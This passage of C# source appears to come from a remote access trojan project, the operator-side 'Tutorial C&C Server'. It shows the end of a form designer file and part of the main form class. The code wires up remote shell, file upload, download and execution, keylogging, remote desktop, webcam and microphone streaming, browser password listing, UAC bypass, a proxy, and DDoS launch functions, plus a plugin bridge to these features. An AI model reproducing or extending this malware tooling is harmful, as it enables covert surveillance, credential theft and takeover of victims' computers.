this.label30.AutoSize = true; this.label30.Location = new System.Drawing.Point(293, 47); this.label30.Name = "label30"; this.label30.Size = new System.Drawing.Size(45, 13); this.label30.TabIndex = 2; this.label30.Text = "Version:"; // // label29 // this.label29.AutoSize = true; this.label29.Location = new System.Drawing.Point(293, 13); this.label29.Name = "label29"; this.label29.Size = new System.Drawing.Size(38, 13); this.label29.TabIndex = 1; this.label29.Text = "Name:"; // // listBox1 // this.listBox1.FormattingEnabled = true; this.listBox1.Location = new System.Drawing.Point(8, 13); this.listBox1.Name = "listBox1"; this.listBox1.Size = new System.Drawing.Size(268, 472); this.listBox1.TabIndex = 0; this.listBox1.SelectedIndexChanged += new System.EventHandler(this.listBox1_SelectedIndexChanged); // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(909, 576); this.Controls.Add(this.tabControl1); this.Name = "Form1"; this.Text = "Tutorial C&C Server"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Form1_FormClosing); this.Shown += new System.EventHandler(this.Form1_Shown); this.tabControl1.ResumeLayout(false); this.tabPage1.ResumeLayout(false); this.tabPage1.PerformLayout(); this.tabPage2.ResumeLayout(false); this.tabPage2.PerformLayout(); this.tabPage3.ResumeLayout(false); this.tabPage3.PerformLayout(); this.tabPage4.ResumeLayout(false); this.tabPage4.PerformLayout(); this.contextMenuStrip2.ResumeLayout(false); this.tabPage5.ResumeLayout(false); this.tabPage5.PerformLayout(); this.tabPage6.ResumeLayout(false); this.contextMenuStrip3.ResumeLayout(false); this.tabPage7.ResumeLayout(false); this.tabPage8.ResumeLayout(false); this.tabPage8.PerformLayout(); ((System.ComponentModel.ISupportInitialize)(this.trackBar1)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); this.tabPage9.ResumeLayout(false); this.tabPage10.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit(); this.tabPage11.ResumeLayout(false); this.tabPage11.PerformLayout(); this.groupBox2.ResumeLayout(false); this.groupBox2.PerformLayout(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown4)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown3)).EndInit(); this.groupBox1.ResumeLayout(false); this.groupBox1.PerformLayout(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit(); this.tabPage12.ResumeLayout(false); this.tabPage12.PerformLayout(); this.tabPage13.ResumeLayout(false); this.tabPage13.PerformLayout(); this.tabPage14.ResumeLayout(false); this.tabPage14.PerformLayout(); this.tabPage15.ResumeLayout(false); this.tabPage15.PerformLayout(); this.ResumeLayout(false); } #endregion private System.Windows.Forms.TabControl tabControl1; private System.Windows.Forms.TabPage tabPage1; private System.Windows.Forms.Label label2; private System.Windows.Forms.Button button2; private System.Windows.Forms.ListView listView1; private System.Windows.Forms.ColumnHeader columnHeader1; private System.Windows.Forms.ColumnHeader columnHeader2; private System.Windows.Forms.ColumnHeader columnHeader3; private System.Windows.Forms.ColumnHeader columnHeader4; private System.Windows.Forms.ColumnHeader columnHeader5; private System.Windows.Forms.Button button1; private System.Windows.Forms.Label label1; private System.Windows.Forms.TabPage tabPage2; private System.Windows.Forms.Button button6; private System.Windows.Forms.Label label12; private System.Windows.Forms.RichTextBox richTextBox1; private System.Windows.Forms.Label label11; private System.Windows.Forms.Button button5; private System.Windows.Forms.ComboBox comboBox3; private System.Windows.Forms.Label label10; private System.Windows.Forms.Button button4; private System.Windows.Forms.Button button3; private System.Windows.Forms.TextBox textBox3; private System.Windows.Forms.Label label9; private System.Windows.Forms.Label label8; private System.Windows.Forms.Label label7; private System.Windows.Forms.Label label6; private System.Windows.Forms.Label label5; private System.Windows.Forms.Label label4; private System.Windows.Forms.ComboBox comboBox2; private System.Windows.Forms.ComboBox comboBox1; private System.Windows.Forms.TextBox textBox2; private System.Windows.Forms.TextBox textBox1; private System.Windows.Forms.Label label3; private System.Windows.Forms.TabPage tabPage3; private System.Windows.Forms.Button button13; private System.Windows.Forms.Button button12; private System.Windows.Forms.Label label14; private System.Windows.Forms.Button button11; private System.Windows.Forms.Button button10; private System.Windows.Forms.Button button9; private System.Windows.Forms.Button button8; private System.Windows.Forms.Button button7; private System.Windows.Forms.Label label13; private System.Windows.Forms.TabPage tabPage4; private System.Windows.Forms.Button button14; private System.Windows.Forms.ComboBox comboBox4; private System.Windows.Forms.TextBox textBox4; private System.Windows.Forms.Label label17; private System.Windows.Forms.Label label16; private System.Windows.Forms.Label label15; private System.Windows.Forms.ListView listView2; private System.Windows.Forms.ColumnHeader columnHeader6; private System.Windows.Forms.ColumnHeader columnHeader7; private System.Windows.Forms.ColumnHeader columnHeader8; private System.Windows.Forms.ColumnHeader columnHeader9; private System.Windows.Forms.ColumnHeader columnHeader10; private System.Windows.Forms.ColumnHeader columnHeader11; private System.Windows.Forms.ContextMenuStrip contextMenuStrip2; private System.Windows.Forms.ToolStripMenuItem killToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem1; private System.Windows.Forms.TabPage tabPage5; private System.Windows.Forms.TextBox textBox5; private System.Windows.Forms.RichTextBox richTextBox2; private System.Windows.Forms.Button button15; private System.Windows.Forms.TabPage tabPage6; private System.Windows.Forms.ListView listView3; private System.Windows.Forms.ColumnHeader columnHeader12; private System.Windows.Forms.ColumnHeader columnHeader13; private System.Windows.Forms.ColumnHeader columnHeader14; private System.Windows.Forms.ColumnHeader columnHeader15; private System.Windows.Forms.ContextMenuStrip contextMenuStrip3; private System.Windows.Forms.ToolStripMenuItem listDrivesToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem enterDirectoryToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem toolStripMenuItem1; private System.Windows.Forms.ToolStripMenuItem moveToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem copyToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem pasteToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem executeToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem uploadToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem downloadToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem editToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem attributesToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem hideToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem showToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem newToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem fileToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem directoryToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem currentDirectoryToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem selectedDirectoryToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem currentDirectoryToolStripMenuItem1; private System.Windows.Forms.ToolStripMenuItem selectedDirectoryToolStripMenuItem1; private System.Windows.Forms.TabPage tabPage7; private System.Windows.Forms.Button button19; private System.Windows.Forms.Button button18; private System.Windows.Forms.Button button17; private System.Windows.Forms.Button button16; private System.Windows.Forms.RichTextBox richTextBox3; private System.Windows.Forms.TabPage tabPage8; private System.Windows.Forms.Button btnFullScreenMode; public System.Windows.Forms.CheckBox checkBoxrKeyboard; public System.Windows.Forms.CheckBox checkBoxrMouse; private System.Windows.Forms.Button button22; private System.Windows.Forms.Button button21; private System.Windows.Forms.PictureBox pictureBox1; private System.Windows.Forms.TabPage tabPage9; private System.Windows.Forms.Button button24; private System.Windows.Forms.ListView listView4; private System.Windows.Forms.ColumnHeader columnHeader16; private System.Windows.Forms.ColumnHeader columnHeader17; private System.Windows.Forms.Button button25; private System.Windows.Forms.TabPage tabPage10; private System.Windows.Forms.Button button27; private System.Windows.Forms.Button button26; private System.Windows.Forms.ListView listView5; private System.Windows.Forms.ColumnHeader columnHeader18; private System.Windows.Forms.ColumnHeader columnHeader19; private System.Windows.Forms.PictureBox pictureBox2; private System.Windows.Forms.TabPage tabPage11; private System.Windows.Forms.GroupBox groupBox1; private System.Windows.Forms.Label label21; private System.Windows.Forms.Label label20; private System.Windows.Forms.Label label19; private System.Windows.Forms.Label label18; private System.Windows.Forms.Button button30; private System.Windows.Forms.Button button29; private System.Windows.Forms.Button button28; private System.Windows.Forms.GroupBox groupBox2; private System.Windows.Forms.CheckBox checkBox3; private System.Windows.Forms.Label label25; private System.Windows.Forms.Label label26; private System.Windows.Forms.Label label22; private System.Windows.Forms.NumericUpDown numericUpDown2; private System.Windows.Forms.ComboBox comboBox5; private System.Windows.Forms.NumericUpDown numericUpDown1; private System.Windows.Forms.TextBox textBox6; private System.Windows.Forms.NumericUpDown numericUpDown4; private System.Windows.Forms.NumericUpDown numericUpDown3; private System.Windows.Forms.TabPage tabPage12; private System.Windows.Forms.Button button32; private System.Windows.Forms.Button button31; private System.Windows.Forms.Label label23; private System.Windows.Forms.ListView listView6; private System.Windows.Forms.ColumnHeader columnHeader20; private System.Windows.Forms.ColumnHeader columnHeader21; private System.Windows.Forms.ColumnHeader columnHeader22; private System.Windows.Forms.Label label24; private System.Windows.Forms.TabPage tabPage13; private System.Windows.Forms.Button button33; private System.Windows.Forms.Label label27; private System.Windows.Forms.TabPage tabPage14; private System.Windows.Forms.Button button34; private System.Windows.Forms.Label label28; private System.Windows.Forms.TabPage tabPage15; private System.Windows.Forms.Button button37; private System.Windows.Forms.Button button36; private System.Windows.Forms.Button button35; private System.Windows.Forms.ComboBox comboBox6; private System.Windows.Forms.Label label33; private System.Windows.Forms.Label label32; private System.Windows.Forms.Label label31; private System.Windows.Forms.Label label30; private System.Windows.Forms.Label label29; private System.Windows.Forms.ListBox listBox1; private System.Windows.Forms.Button button38; public System.Windows.Forms.Label lblQualityShow; private System.Windows.Forms.Label lblChooseScreen; private System.Windows.Forms.ComboBox cmboChooseScreen; private System.Windows.Forms.Button btnCountScreens; private System.Windows.Forms.Button btnStartTaskManager; private System.Windows.Forms.TextBox txtBControlKeyboard; private System.Windows.Forms.Label label34; public System.Windows.Forms.TrackBar trackBar1; private System.Windows.Forms.Button button23; private System.Windows.Forms.ComboBox comboBox7; private System.Windows.Forms.Label label35; private System.Windows.Forms.Button button20; private System.Windows.Forms.ProgressBar progressBar1; private System.Windows.Forms.Label label36; private System.Windows.Forms.Button button39; } } ================================================ FILE: TutServer/Form1.cs ================================================ using System; //For basic system functions using System.Collections.Generic; //For List and Dictionary objects using System.Drawing; //For form graphics using System.Linq; //For converting arrays to list objects using System.Text; //For encoding UTF8 (cryptogrphy) using System.Windows.Forms; //For forms and control using System.Net; //For network information and IP endpoint using System.Net.Sockets; //For TCP sockets using System.Security.Cryptography; //For encrypting traffic using System.IO; //For file interaction using System.Reflection; //For loading plugins runtime using sCore; //For plugin interaction using sCore.IO; //For binding plugin functions using System.Threading.Tasks; //For Tasks (they are similar to threads) #pragma warning disable IDE1006 namespace TutServer //Main Namespace { public partial class Form1 : Form //Our form { #region Global Variables /// /// Limit screen update rate on a remote desktop session /// private int FPS = 80; /// /// The text format received data /// private string text = string.Empty; /// /// The number of received bytes /// private int received; /// /// File transfer Mode Copy /// private const int xfer_copy = 1; /// /// File Transfer Mode Move /// private const int xfer_move = 2; /// /// Socket used for the server /// private static Socket _serverSocket; /// /// A list of connected client sockets /// private static List _clientSockets = new List(); /// /// Receive buffer size /// private const int _BUFFER_SIZE = 20971520; /// /// Port for the server to listen on /// private const int _PORT = 100; //port number /// /// Receive buffer /// private static readonly byte[] _buffer = new byte[_BUFFER_SIZE]; /// /// Array of controlled clients /// private int controlClient = 0; /// /// Indicates if the remote cmd is active /// private static bool _isCmdStarted = false; private static string hostToken = ""; /// /// Distributes remote cmd data to plugins /// public static bool IsCmdStarted { get { return _isCmdStarted; } set { _isCmdStarted = value; sCore.RAT.Cmd.SetCmdOnline(hostToken, value); } } /// /// Current path for the file browser module /// private string _currentPath = "drive"; /// /// Distributes the current path to plugins /// private String CurrentPath { get { return _currentPath; } set { _currentPath = value; sCore.RAT.FileSystem.SetCurrentDirectory(hostToken, value); } } /// /// File transfer from location /// private String xfer_path = ""; /// /// File transfer mode /// private int xfer_mode = 0; /// /// Reference to the form /// public static Form1 me; /// /// Remote file editor content /// private String edit_content = ""; /// /// Path of the file to upload /// private String fup_local_path = ""; /// /// Size of the file to download /// private int fdl_size = 0; /// /// Indicates if file download is in progress /// private bool isFileDownload = false; /// /// Buffer for receiving files /// private byte[] recvFile = new byte[1]; /// /// Number of bytes written to the downloaded file /// private int write_size = 0; /// /// The location of the downloaded file /// private String fdl_location = ""; /// /// Indicates if the server (listener) is started /// private bool _isServerStarted = false; /// /// Distributes server start info to plugins /// private bool IsStartedServer { get { return _isServerStarted; } set { sCore.RAT.ServerSettings.SetServerState(hostToken, value); _isServerStarted = value; } } /// /// Indicates if clients need to get new IDs /// private bool reScanTarget = false; /// /// ID of the disconnected client /// private int reScanStart = -1; /// /// ID of the disconnected client /// private int killtarget = -1; /// /// Socket of the disconnected client /// private Socket killSocket; /// /// Indicates if a surveillance module if active /// private bool _multiRecv = false; /// /// Distributes if surveillance is active to plugins /// private bool MultiRecv { get { return _multiRecv; } set { _multiRecv = value; sCore.RAT.ServerSettings.SetMultiRecv(hostToken, value); } } /// /// Indicates if remote desktop watcher is active /// private bool _rdesktop = false; /// /// Distributes to plugins if remote desktop is active /// private bool RDesktop { get { return _rdesktop; } set { _rdesktop = value; sCore.RAT.RemoteDesktop.SetIsRemoteDesktop(hostToken, value); } } //public static double dx = 0; //public static double dy = 0; /// /// Indicates remote keyboard state /// public static int rkeyboard = 0; /// /// Indicates remote mouse state /// public static int rmouse = 0; /// /// Stores the previous X coordinate the mouse moved to /// public static int plx = 0; /// /// Stores the previous Y coordinate the mouse moved to /// public static int ply = 0; /// /// Indicates the screen resolution width /// public static int resx = 0; /// /// Indicates the screen resolution heigth /// public static int resy = 0; /// /// Indicates is the resolution data is set or not /// public static int resdataav = 0; /// /// Indicates if remote desktop is in full screen mode /// public static bool _isrdFull = false; /// /// Distributes remote desktop full screen status to plugins /// public static bool IsRdFull { get { return _isrdFull; } set { _isrdFull = value; sCore.RAT.RemoteDesktop.SetIsFullScreen(hostToken, value); } } /// /// Reference to the remote desktop object /// private RDesktop Rdxref; /// /// List of routed windows /// public static List
routeWindow = new List(); /// /// List of every tool strip item on the main form /// public static List tsitem = new List(); /// /// List of every tool strip item's name on the main form /// public static List tsrefname = new List(); /// /// List of control values for routed Windows to pull values from /// public static List getvalue = new List(); /// /// List of control values for the main form to pull values from /// public static List setvalue = new List(); /// /// Route of remote desktop module /// public static String rdRouteUpdate = "route0.none"; /// /// Route of webcam watcher module /// public static String wcRouteUpdate = "route0.none"; /// /// Indicates if the form protects the listView from updateing values /// public static bool protectLv = false; //public static int rwriteLv = 0; //public static bool only1 = false; /// /// Selected TabPage /// public static TabPage selected = new TabPage(); /// /// List of every TabPage /// private List pages = new List(); /// /// Reference to the remote button to click /// public static Button rbutton = new Button(); /// /// The focused tab page before the button click procedure /// public static TabPage setPagebackup = new TabPage(); /// /// The set focus back operation phases /// public static int setFocusBack = 1; /// /// The route to give back the focus to /// public static int setFocusRouteID = -1; /// /// Indicates if remote audio stream is active /// private bool _austream = false; /// /// Distributes if remote audio stream is active to plugins /// private bool AuStream { get { return _austream; } set { _austream = value; sCore.RAT.AudioListener.SetAudioStream(hostToken, value); } } /// /// Audio Stream playback object /// private AudioStream astream = new AudioStream(); /// /// Indicates if webcam stream is active /// private bool _wStream = false; /// /// Distributes if remote webcam stream is active to plugins /// private bool WStream { get { return _wStream; } set { _wStream = value; sCore.RAT.RemoteCamera.SetCameraStream(hostToken, value); } } /// /// Startup folder of the client /// public String remStart = ""; /// /// Remote mouse movement commands /// private List rMoveCommands = new List(); /// /// Timer to execute mouse movement /// Timer rmoveTimer = new Timer(); /// /// Linux Client Manager Module /// LinuxClientManager lcm; /// /// List of remote pipes /// List rPipeList = new List(); /// /// Plugin host object /// ScriptHost sh; #if EnableAutoLoad /// /// Indicates the progress of auto load function /// private int autoLoadProgress = 0; #endif /// /// Crypto exception handling flag /// private bool IsException = false; //switch /// /// Mouse movement control flag /// private bool mouseMovement = true; //switch /// /// Plugin local function bridge instance /// private ScriptHost.LocalBridgeFunctions lbf; /// /// ToolStrip item add/remove locking object /// private object TSLockObject = new object(); #endregion #region Inner Classes /// /// Module providing connection with linux clients /// public class LinuxClientManager { /// /// Association between all clients and linux clients /// private List clientListAssoc = new List(); /// /// Reference to the main form /// private Form1 ctx; /// /// Constructor /// /// Reference to the main form public LinuxClientManager(Form1 context) { ctx = context; //Set the form reference } /// /// Add client to linux client manager /// /// The id of the client to add public void AddAssociation(int clientID) { if (clientListAssoc.Contains(clientID)) return; //If client already added clientListAssoc.Add(clientID); //Add the client to the manager SendCommand("getinfo-" + clientID.ToString(), clientID); //Request info from linux client } /// /// Remove client from linux client manager /// /// The id of the client to remove public void RemoveAssociation(int clientID) { if (!clientListAssoc.Contains(clientID)) return; //If client isn't in the list clientListAssoc.Remove(clientID); //Remove client from manager } /// /// Remove every client from the manager /// public void ResetAssociation() { clientListAssoc.Clear(); //Remove all clients } /// /// Check if a socket is a linux client /// /// The socket to check /// True if the socket is a linux client, otherwise false public bool IsLinuxClient(Socket s) { int socketID = ctx.GetSocket(s); //Get the index of the socket return IsLinuxClient(socketID); //Check if socket is added to the manager } /// /// Check if a client is a linux client /// /// The ID of the client to check /// True if it's a linux client, otherwise false public bool IsLinuxClient(int clientID) { if (clientListAssoc.Contains(clientID)) { return true; } return false; } /// /// Handle custom, linux only commands /// /// The buffer sent by the client public void RunCustomCommands(byte[] buffer) { string command = Encoding.ASCII.GetString(buffer); //Linux sends ASCII encoded text if (command.StartsWith("lprocset")) //Set the process list { command = command.Substring(8); //Remove the command header string[] lines = command.Split('\n'); //Split the command into lines string headerLine = lines[0]; //Header of ps -aux command int pidIndex = headerLine.IndexOf("PID"); //The index of the PID column pidIndex += 2; //Increase with 2, because PIDs start at "D" int commandIndex = headerLine.IndexOf("COMMAND"); //The index of command (executed file path + args) here used as process name headerLine = null; //Release the header line List vProcName = new List(); //List of process names List vProcId = new List(); //List of process IDs for (int i = 1; i < lines.Length; i++) //Loop through the lines, skip one because it's the header { string line = lines[i]; //The current line line = line.Replace("\r", String.Empty); //Remove the \r from the line if (line == "" || line == String.Empty) continue; //If line is empty, then skip it string strPid = ""; //The current PID string strProcName = ""; //The current process name for (int t = pidIndex; t >= 0; t--) //Start reading the PID backwards (from the index of "D") { if (line.Length <= t) continue; //If the line is shorter than the index of "D" char value = line[t]; //The current character if (char.IsNumber(value)) //If it's a number { strPid = value.ToString() + strPid; //Add it to the PID string (notice it's reversed) } else //It's not a number { break; //We are finished reading the PID } } for (int t = commandIndex; t < line.Length; t++) //Read the command column until the end of the line { strProcName += line[t]; //Add it to the process name string } vProcName.Add(strProcName); //Add current process name to the list vProcId.Add(strPid); //Add current process ID to the list } const string responsive = "True"; //Applicatioin is responsive (Windows Only) const string noData = "N/A"; //Constant string for no data for (int i = 0; i < vProcName.Count; i++) //Go thorugh all the processes { ctx.SetprocInfoCallback(vProcName[i], responsive, noData, noData, noData, vProcId[i]); //Add them to the listView } vProcName.Clear(); //Release the process name list vProcId.Clear(); //Release the process IDs list } if (command.StartsWith("cmdout|")) //Treminal output received { String toAppend = command.Substring(7); //Remove the command header ctx.Append(toAppend); //Append the command to the terminal window } } /// /// Custom command sending for linux clients /// /// The command to send /// The target client public void SendCommand(string text, int target) { //Add exeception for cmd§ -- since this (§) character doesn't get received correctly by linuxClient if (text.StartsWith("cmd§")) //If we send cmd commands { text = text.Substring(4); //Remove the command header ctx.Append("user@remoteShell: " + text + Environment.NewLine); //Append the command to the shell window text = "cmd|" + text; //Create a new command } byte[] buffer = Encoding.ASCII.GetBytes(text); //Create the text buffer Socket s = ctx.GetSocketById(target); //Get the target socket s.Send(buffer); //Send the command to the socket } } /// /// Module for providing plugin support /// public class ScriptHost { public class LocalBridgeFunctions : BridgeFunctions { public override MessageBoxDelegate ShowMessageBox { get; set; } public override VoidDelegate StartServer { get; set; } public override VoidDelegate StopServer { get; set; } public override VoidDelegate ToggleServer { get; set; } public override RemoteMessageDelegate ShowRemoteMessageBox { get; set; } public override StringDelegate PlayFrequency { get; set; } public override SystemSoundDelegate PlaySystemSound { get; set; } public override StringDelegate T2s { get; set; } public override SystemElementDelegate SwitchElementVisibility { get; set; } public override CdTrayDelegate CdTrayManipulation { get; set; } public override VoidDelegate ListProcesses { get; set; } public override StringDelegate KillProcess { get; set; } public override StartProcessDelegate StartProcess { get; set; } public override VoidDelegate StartCmd { get; set; } public override VoidDelegate StopCmd { get; set; } public override VoidDelegate ToggleCmd { get; set; } public override StringDelegate SendCmdCommand { get; set; } public override StringReturnDelegate ReadCmdOutput { get; set; } public override VoidDelegate ListDrives { get; set; } public override StringDelegate ChangeDircectory { get; set; } public override VoidDelegate Up1Dir { get; set; } public override StringDelegate CopyFile { get; set; } public override StringDelegate MoveFile { get; set; } public override StringDelegate PasteFile { get; set; } public override StringDelegate ExecuteFile { get; set; } public override String2Delegate UploadFile { get; set; } public override String2Delegate DownloadFile { get; set; } public override StringDelegate OpenFileEditor { get; set; } public override ChangeAttrDelegate ChangeFileAttribute { get; set; } public override StringDelegate DeleteFile { get; set; } public override String2Delegate RenameFile { get; set; } public override String2Delegate CreateFolder { get; set; } public override String2Delegate CreateFile { get; set; } public override VoidDelegate StartKeylogger { get; set; } public override VoidDelegate StopKeylogger { get; set; } public override VoidDelegate ReadKeylog { get; set; } public override VoidDelegate ClearKeylog { get; set; } public override VoidDelegate StartRemoteDesktop { get; set; } public override VoidDelegate StopRemoteDesktop { get; set; } public override BoolDelegate ControlRemoteMouse { get; set; } public override BoolDelegate ControlRemoteKeyboard { get; set; } public override VoidDelegate StartFullScreen { get; set; } public override IntDelegate StartAudio { get; set; } public override VoidDelegate StopAudio { get; set; } public override VoidDelegate ListAudio { get; set; } public override IntDelegate StartVideo { get; set; } public override VoidDelegate ListVideo { get; set; } public override VoidDelegate StopVideo { get; set; } public override DDoSTestDelegate ValidateDDoS { get; set; } public override VoidDelegate StopDDoS { get; set; } public override DDoSDelegate StartDDoS { get; set; } public override VoidDelegate ClearList { get; set; } public override VoidDelegate ListPassword { get; set; } public override VoidDelegate BypassUAC { get; set; } public override VoidDelegate StartProxy { get; set; } public override StringDelegate SaveFile { get; set; } public override StringDelegate SendRawCommand { get; set; } public override InputDelegate ShowInputBox { get; set; } } /// /// The directory of the plugins /// private readonly string dir = ""; /// /// List of assemblies for plugin files /// private Dictionary scriptDlls = new Dictionary(); /// /// List of the running plugins /// public List runningPlugins = new List(); /// /// Plugin list /// public Dictionary ifaceList = new Dictionary(); /// /// Reference to the main form /// Form1 ctx; /// /// Master key for revoking permissions (plugins cannot have this) /// private readonly string masterKey; /// /// Constructor /// /// The directory where the plugins are located /// Reference to the main form public ScriptHost(string rootDir, Form1 parent) { dir = rootDir; //Set the root directory ctx = parent; //Set the reference to the form masterKey = sCore.Integration.Integrate.GetMasterKey(); } /// /// Load a single plugin dll /// /// The filename of the plugin to load private void LoadDll(string dllName) { //if (!scriptDlls.ContainsKey(dllName)) return; //Assembly curAssembly = Assembly.LoadFrom(dir + "\\" + dllName); //Load the assembly of the dll Assembly curAssembly = scriptDlls[dllName]; //Get the assembly from the list IPluginMain current = null; //Declare the plugin main foreach (Type t in curAssembly.GetTypes()) //Loop through the types in the assembly { if (t.GetInterface("IPluginMain") != null) //If the current type is IPluginMain { IPluginMain inst = Activator.CreateInstance(t) as IPluginMain; //Retrive the IPluginMain from the dll current = inst; //Set the current pluginMain } } if (current != null) //If plugin main found { ifaceList.Add(dllName, current); //Add the plugin to the interface list } } /// /// Execute a single plugin dll /// /// The name of the dll to execute public void ExecuteDll(string dllName) { if (!ifaceList.ContainsKey(dllName)) return; //Check if the plugin is loaded IPluginMain iface = ifaceList[dllName]; //Retrieve the plugin main iface.Main(); //Call the plugins main method if (!runningPlugins.Contains(iface)) runningPlugins.Add(iface); } /// /// Load every plugin in the selected directory /// public void LoadDllFiles() { scriptDlls.Clear(); //Clear the list of scriptDlls ifaceList.Clear(); //Clear the list of plugin interafaces string[] files = Directory.GetFiles(dir); for (int i = 0; i < files.Length; i++) //Loop through the plugin files { string file = files[i]; if (!file.EndsWith(".dll")) continue; // Not a DLL File Assembly currentAssembly = Assembly.LoadFrom(new FileInfo(file).FullName); //Get the assembly of the file scriptDlls.Add(new FileInfo(file).Name, currentAssembly); //Add the assembly to the list ctx.listBox1.Items.Add(new FileInfo(file).Name); //Add the plugin name to the UI list } foreach (string key in scriptDlls.Keys) //Loop through the files { LoadDll(key); //Load all the plugins } } /// /// Get information about a plugin /// /// The name of the plugin /// An array of object filled with the plugin information public IPluginMain GetPluginInfo(string pluginName) { if (!ifaceList.ContainsKey(pluginName)) return null; //Plugin is not loaded IPluginMain iface = ifaceList[pluginName]; //Get the interface return iface; // Return the plugin interface } /// /// Check if a plugin is running /// /// The name of the plugin to check /// True if the plugin is running public bool IsPluginRunning(string pluginName) { if (runningPlugins.Contains(ifaceList[pluginName])) return true; //Plugin is running return false; //Plugin is not running } /// /// Create a function bridge between the R.A.T Server and the plugins /// public void SetupBridge() { LocalBridgeFunctions lf = new LocalBridgeFunctions { ShowMessageBox = new MessageBoxDelegate(ctx.XMessageBox), //Local messagebox display StartServer = new VoidDelegate(ctx.XStartServer), //Local server start StopServer = new VoidDelegate(ctx.XStopServer), //Local server stop ToggleServer = new VoidDelegate(ctx.XToggleServer), //Local server toggle (start/stop) ShowRemoteMessageBox = new RemoteMessageDelegate(ctx.XRemoteMessage), //Remote messagebox display PlayFrequency = new StringDelegate(ctx.XFrequency), //Remote frequency player PlaySystemSound = new SystemSoundDelegate(ctx.XSystemSound), //Remote system sound player T2s = new StringDelegate(ctx.XT2s), //Remote Text To Speech generator SwitchElementVisibility = new SystemElementDelegate(ctx.XElements), //Remote element hide/show CdTrayManipulation = new CdTrayDelegate(ctx.XCdTray), //Remote CD Tray control ListProcesses = new VoidDelegate(ctx.XListProcesses), //List remote processes KillProcess = new StringDelegate(ctx.XKillProcess), //Kill remote processes StartProcess = new StartProcessDelegate(ctx.XStartProcess), //Start remote processes StartCmd = new VoidDelegate(ctx.XStartCmd), //Start new remote cmd session StopCmd = new VoidDelegate(ctx.XStopCmd), //Stop remote cmd session ToggleCmd = new VoidDelegate(ctx.XToggleCmd), //Toggle remote cmd session (start/stop) SendCmdCommand = new StringDelegate(ctx.XSendCmdCommand), //Send commands to remote cmd ReadCmdOutput = new StringReturnDelegate(ctx.XReadCmdOutput), //Read the output of remote cmd ListDrives = new VoidDelegate(ctx.XListDrives), //List the remote drives ChangeDircectory = new StringDelegate(ctx.XChangeFolder), //Change the current folder Up1Dir = new VoidDelegate(ctx.XUp1), //Naviagte UP1 folder CopyFile = new StringDelegate(ctx.XCopyFile), //Remote file copy MoveFile = new StringDelegate(ctx.XMoveFile), //Remote file move PasteFile = new StringDelegate(ctx.XPasteFile), //Remote file paste ExecuteFile = new StringDelegate(ctx.XExecuteFile), //Remote file execution UploadFile = new String2Delegate(ctx.XUploadFile), //Remote file upload DownloadFile = new String2Delegate(ctx.XDownloadFile), //Remote file download OpenFileEditor = new StringDelegate(ctx.XOpenFileEditor), //Open remote file editor ChangeFileAttribute = new ChangeAttrDelegate(ctx.XChangeAttribute), //Remote change file attributes DeleteFile = new StringDelegate(ctx.XDeleteFile), //Remote delete file RenameFile = new String2Delegate(ctx.XRenameFile), //Rename remote file CreateFile = new String2Delegate(ctx.XNewFile), //Create new remote file CreateFolder = new String2Delegate(ctx.XNewDirectory), //Create new remote directory StartKeylogger = new VoidDelegate(ctx.XStartKeylogger), //Start remote keylogger StopKeylogger = new VoidDelegate(ctx.XStopKeylogger), //Stop remote keylogger ReadKeylog = new VoidDelegate(ctx.XReadKeylog), //Read the remote keylog ClearKeylog = new VoidDelegate(ctx.XClearKeylog), //Clear the remote keylog StartRemoteDesktop = new VoidDelegate(ctx.XStartRemoteDesktop), //Start remote desktop view StopRemoteDesktop = new VoidDelegate(ctx.XStopRemoteDesktop), //Stop remote desktop view StartFullScreen = new VoidDelegate(ctx.XLaunchFullScreen), //Full screen mode remote desktop view ControlRemoteKeyboard = new BoolDelegate(ctx.XControlRemoteKeyboard), //Enable, Disable remote mouse control ControlRemoteMouse = new BoolDelegate(ctx.XControlRemoteMouse), //Enable, Disable remote keyboard control StartAudio = new IntDelegate(ctx.XStartAudio), //Start remote audio stream StopAudio = new VoidDelegate(ctx.XStopAudio), //Stop remote audio stream ListAudio = new VoidDelegate(ctx.XListAudio), //List remote audio listener devices StartVideo = new IntDelegate(ctx.XStartVideo), //Start remote video stream StopVideo = new VoidDelegate(ctx.XStopVideo), //Stop remote video stream ListVideo = new VoidDelegate(ctx.XListVideo), //List remote video devices StartDDoS = new DDoSDelegate(ctx.XStartDDoS), //Start a remote DDoS attack StopDDoS = new VoidDelegate(ctx.XStopDDoS), //Stop the remote DDoS attack ValidateDDoS = new DDoSTestDelegate(ctx.XValidateDDoS), //Validate a DDoS attack ListPassword = new VoidDelegate(ctx.XListPassword), //List remote browser passwords ClearList = new VoidDelegate(ctx.XClearList), //Clear the password list BypassUAC = new VoidDelegate(ctx.XBypassUAC), //Try to bypass the UAC StartProxy = new VoidDelegate(ctx.XLaunchProxy), //Start remote proxy server SaveFile = new 